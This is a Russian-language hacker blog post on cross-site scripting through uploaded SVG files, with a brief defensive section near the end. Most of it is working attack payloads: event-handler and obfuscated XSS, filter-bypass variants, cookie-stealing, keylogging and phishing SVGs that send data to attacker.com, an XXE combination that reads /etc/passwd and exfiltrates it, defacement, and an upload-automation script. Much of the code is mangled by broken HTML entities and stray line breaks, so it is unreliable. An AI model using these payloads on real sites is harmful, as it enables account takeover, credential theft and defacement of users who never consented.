🕷️ XSS через SVG: когда картинка стреляет JS’ом

Привет, хакеры! Думаешь, загружая картинку на сайт, пользователь безопасен? ХА! Сегодня расскажу про мой любимый вектор атаки — XSS через SVG. Это когда безобидный “image.svg” превращается в троянского коня с JavaScript’ом на борту. 💣

Админы блокируют `<script>` теги? Плевать. WAF фильтрует HTML? Обойдём. Загрузка только картинок? ИДЕАЛЬНО! 😈

🔍 Почему SVG — это золотая жила для XSS?

SVG (Scalable Vector Graphics) — это не просто картинка. Это XML-документ, который может содержать:

• JavaScript код

• Event handlers (onclick, onload, onerror)

• Внешние ресурсы

• Встроенные скрипты

Проблема: Большинство разработчиков проверяют расширение файла (`.svg`) и думают “это же картинка, чё может пойти не так?”

Ответ: ВСЁ МОЖЕТ ПОЙТИ НЕ ТАК! 🔥

💉 Базовый payload: XSS в чистом виде

Простейший вариант:

<?xml version="1.0" standalone
="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/
Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" basePro
file="full" xmlns="http://www.w3.org/2000/svg"&g
t; <rect width="300" heig
ht="100" style="
;fill:rgb(0,0,255)
;"/> <script type="text/javascript"> alert("XSS через SVG!"); </script></svg>

Сохраняем как `payload.svg`, загружаем на сайт → БИНГО! Если сайт рендерит SVG напрямую или показывает через `&lt;img&gt;`, скрипт может выполниться.

🎯 Payload #1: Обход через event handlers

WAF блокирует тег `<script>`? Используй события!

<svg xmlns="http://www.w3.org/2000/svg
"> <circle cx="50" cy="50" r="40" fill=&q
uot;red" onload="alert(document.cookie)"/></svg>

Альтернативы с другими событиями:

<!-- onload - самый популярный -->
<svg onload="alert('
XSS')"><!-- onerror - если что-то
пойдёт не так --><svg><image href="x" onerror=&
quot;alert('XSS')"/></svg><!--
onmouseover - требует действия пользователя --><svg><rect width="100&qu
ot; height="100" onmouseover=&
quot;alert('XSS')"/></svg><!-- onclick - клик на элемент --><
;svg><text x="10" y=&quo
t;20" onclick="alert('XSS')">Click me</text></svg><!-- onfocus - при фокусировке --><svg><a xlink:href="javascript:alert('XSS')"><text x="10" y="20">Link</text></a></svg>

Почему это работает: Браузер парсит SVG как XML и выполняет JavaScript из event handlers. Большинство WAF’ов не проверяют атрибуты событий в SVG.

🎯 Payload #2: Embedded JavaScript через CDATA

Хочешь спрятать код от простых парсеров? CDATA в помощь!

<svg xmlns="http://www.w3.org/2000/svg
"> <script type="text/
javascript"
> <![CDATA[ alert('Код внутри CDA
TA не парсится как XML'); // Можем писать любой JS без
экранирования < > & document.location = 'http://attac
ker.com?co
okie=' + doc
ument.cookie; ]]> </script></svg>

Фишка: CDATA позволяет вставлять символы `&lt;`, `&gt;`, `&amp;` без экранирования. Идеально для обфускации!

🎯 Payload #3: External script через xlink

Хочешь загрузить внешний скрипт? SVG позволяет!

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/
1999/xlink"> <script xlink:href="https://a
ttacker.com/evil.js"/></svg>

Или через image с подменой:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/
1999/xlink"> <image xlink:href="https://attacker.com/payload.svg&quo
t; onerror="alert('XSS')"/></svg>

Почему опасно: Ты можешь хостить вредоносный код на своём сервере и обновлять его в любой момент. Жертва будет грузить актуальную версию эксплойта!

🎯 Payload #4: Обфусцированный payload

Админы научились искать `alert`? Обфусцируем!

<svg xmlns="http://www.w3.org/2000/svg
"> <
script> // Через String.fr
omCharCode eval(String.fromCharCode(97,108,101,114,116,4
0,49
,41)); // Через Unic
ode escape eval('\u0061\u006c\u0065\u0072\u0074\u0028
\u00
31\u0029');
// Через base64 eval(at
ob(&
#039;YWxlcnQoMSk=')
); // Через constructor [].construc
tor.constructor(&
#039;alert(1)')(); </script></svg>

Продвинутая обфускация:

<svg onload="self['al'+'ert'](document['cook'+'ie'])">

Лайфхак: Комбинируй методы для максимального обхода фильтров!

🎯 Payload #5: Polyglot SVG (работает как HTML и SVG)

Универсальный боеприпас:

<svg/onload=alert('XSS&
#039;)><svg><script>alert&#40;1&#41;</
script><!-- HTML entities в SVG тоже работа
ют! --><svg><script>&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;</script>&l
t;/svg><!-- Combo: работает и в HTML, и в SVG контек
сте -->"><svg/onload=alert(document.domain)>

💣 Реальные атаки через SVG XSS

Атака #1: Cookie stealing

<svg xmlns="http://www.w3.org/2000/svg
"> <
script> // Отправляем cookie на т
вой сервер fetch('https://attacker.com/steal?c='
+ d
ocument.cookie);
// Или через Image new Image().src = 'https://attacker.com/log?cookie=&
#039; + btoa(docu
ment.cookie); </script></svg>

Результат: Получаешь session token жертвы → захватываешь аккаунт.

Атака #2: Keylogger в SVG

<svg xmlns="http://www.w3.org/2000/svg
"> <
script> &l
t;![CDATA[ document.onkeypress = fun
ction(e) { fetch('https://attacker.com/keys?
key=&#
039; + e
.key); }; ]]&
gt; </script></svg>

Применение: Если SVG загружается на страницу с формой логина → логируешь пароли пользователей! 💀

Атака #3: Phishing через SVG

<svg xmlns="http://www.w3.org/2000/svg" width="500&qu
ot; height="300"> <foreignObject
width="100%" height="100%"> <div xmlns="http://www.w3.or
g/1999/xhtml" style="background:
#fff;padding:20px;"> <h2>Session Expired</h2&g
t; <form action="https://attacker.com/phish" method=&qu
ot;POST"> <input type="text" name="username&
quot; placeholder="Username"/> <inpu
t type="passwo
rd" name=&q
uot;password" place
holder="Password"/> <button type="submit">Re-login</button> </form> </div> </foreignObject></svg>

Фишка: `foreignObject` позволяет встраивать полноценный HTML в SVG! Можешь создать фальшивую форму логина прямо в картинке.

Атака #4: Defacement (изменение страницы)

<svg xmlns="http://www.w3.org/2000/svg
"> <
script> document.body.innerHTML = '<h1>HACKED BY TIMCORE</h1><img src="https://attacker.c
om/skull.gif"
;/>'; </script></svg>

Применение: Загружаешь на форум/комментарии → все посетители видят твой месседж.

🛡️ Обход защиты: как пройти валидацию

Проблема #1: Проверка MIME-type

# Плохая валидация
if file.content_type == 'image/svg+
xml': # Пропускает SVG с JS!

Обход: Любой SVG с вредоносным кодом пройдёт эту проверку.

Проблема #2: Проверка только расширения

// Плохая валидация
$ext = pathinfo($_FILES['file']['name'],
PATHINFO_EXTENSION);
if ($ext == 'svg')
{ move_uploaded_file(...);}

Обход: Переименуй `payload.js` в `payload.svg` и вперёд!

Проблема #3: Regex фильтры для `<script>`

// Плохая валидация
if (content.match(/<script>/i)) {
reject();
}

Обход через вариации:

<script >alert(1)</script>
<script/>alert(1)</script>
<script
>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt>
<!-- Или вообще без script через onload -->
<svg onload=alert(1)>

🔥 Продвинутые техники

Техника #1: SVG + XXE combo

<?xml version="1.0" standalone=
"yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file
:///etc/passwd"> ]><svg xmlns=&q
uot;http://www.w3.org/2000/svg"> <text
x="10"
; y="20">&xxe;</text> <scr
ipt> // Теперь можем украсть содержимое файла через JS fetch(&#
039;https://attac
ker.com?data=' + btoa(document.body.innerText)); </script></svg>

Результат: XSS + XXE = чтение файлов сервера + exfiltration данных!

Техника #2: Animated SVG для timing attacks

<svg xmlns="http://www.w3.org/2000/svg
"> <animate attributeName=
"opacity" va
lues="1;0" dur="2s" o
nend="alert('XSS after 2 seconds')"/></svg>

Применение: Delayed execution для обхода sandbox’ов или автоматических сканеров.

Техника #3: SVG DOMXSS через parameters

Если приложение вставляет параметры в SVG:

<!-- Уязвимый код: параметр username вставляется напрямую -->
<svg xmlns="http://www.w3.org/2000/svg
"> <text x="10" y="20">
Hello, {user
name}</text></svg><
!-- Payload в username: --></text><script>alert(1)</script><text x="0" y="0">

Результат: DOM XSS через SVG injection!

🛠️ Инструменты для тестирования

# SVG XSS Fuzzer
python3 svg-xss-fuzzer.py -u http://target.com/upload
# Генератор payload
39;ов# Создай файл payloads.txt с вариа
циямиcat > payloads.txt <<
; EOF<svg onload=alert(1
)><svg><script>alert(1)</script></sv
g><svg><image href=x onerror=alert(1)
/&g
t;EOF# Burp Suite Intruder для брутфорса вар
иаций# Используй position markers в SVG файле

Автоматизация проверки:

import requests
payloads = [
'<svg onload=alert(1)&
gt;', '<svg><script>alert(1)</script>
;</svg>', '<svg><image href
=
x onerror=alert(1)/>&
#039;]for payload in payloads: wi
th open('test.svg&#
039;
, 'w') as f: f.write(payloa
d) files = {'file': open('test.svg'
, &#
039;rb')} r = requests.post(9
;http://target.com/upload', files=files) if 'Successfully uploaded' in r.text: print(f"[+] Payload uploaded: {payload}")

🎯 Где искать SVG XSS в 2025?

Горячие точки:

✅ Аватары пользователей — загрузка профильных картинок

✅ Документы/attachments — файловые хранилища

✅ Логотипы компаний — B2B платформы

✅ Email attachments — webmail приложения

✅ CMS upload — WordPress, Drupal и т.д.

✅ QR-коды в SVG — генераторы QR

✅ Charts/graphs — аналитические дашборды

✅ Иконки — системы дизайна

🔐 Защита для админов (если ты на светлой стороне)

Правильная валидация SVG:

import xml.etree.ElementTree as ET
def is_safe_svg(file_content):
try:
# Парсим SVG
root = ET.fromstring(file_content)

# Запрещённые элементы и атрибуты
forbidden_elements = ['script', 'iframe'
, 'object', 'embed'] forbidden_attrs = ['
onload&#
039;, 'onerror',
39;onclick', 'onmouseo
ver'] #
Рекурсивная проверка for elem in root.iter():
# Проверяем тег
if elem.t
ag.split('}')[-1] in f
orbidden_elements: re
turn False # Проверя
ем атрибуты for attr
in elem.attrib: if attr in forbidden
_attrs: return False # Прове
ряем javascript: в значениях

if 'javasc
ript:'
in elem.attrib[attr].lower(): return False return True except: return False

Ещё лучше — sanitize через библиотеку:

# Python: используй dompurify-python или bleach
from lxml.html.clean import Cleaner
cleaner = Cleaner(
scripts=True,
javascript=True,
embedded=True,
safe_attrs_only=True
)
sanitized = cleaner.clean_html(svg_content)

Или конвертируй SVG в растровый формат:

# ImageMagick (но будь осторожен с его уязвимостями!)
convert input.svg output.png
# Или используй headless browser

Best practice:

✅ Sanitize SVG на сервере перед сохранением

✅ Устанавливай `Content-Type: image/svg+xml` только для проверенных файлов

✅ Используй `Content-Security-Policy` для блокировки inline scripts

✅ Храни загруженные файлы на отдельном домене (без cookies)

✅ Рендери SVG через `<object>` или `<iframe sandbox>` для изоляции

🎓 Мораль истории

SVG — это не картинка. Это полноценный XML-документ с JavaScript’ом.

Пока разработчики думают “это же image/svg, что может пойти не так”, мы зарабатываем bounty. 💰

Ключевые моменты:

• SVG может содержать JS через `<script>`, event handlers, external resources

• Большинство фильтров проверяют только расширение или MIME-type

• SVG XSS часто Stored → больше жертв, больше impact, больше $$$

• Комбинируй с XXE, SSRF, и другими атаками для chain’ов

🚀 Домашка для хакеров

1. Найди сайт с загрузкой SVG (bug bounty scope!)

2. Попробуй все 5 payload’ов из поста

3. Если заблокировали — обфусцируй через base64/unicode

4. Найди свой первый SVG XSS

Удачной охоты, пусть ваши SVG всегда стреляют! 🕷️💣

P.S. Если админ говорит “мы блокируем загрузку SVG” — спроси, блокируют ли они `image/svg+xml` в других местах (email, API, rich text editors). Часто находишь забытые векторы. 😏

P.P.S. SVG XSS + самоподписывающийся сертификат на твоём домене = cookie stealing даже через HTTPS. Stay creative! 🔥

46 views·7 shares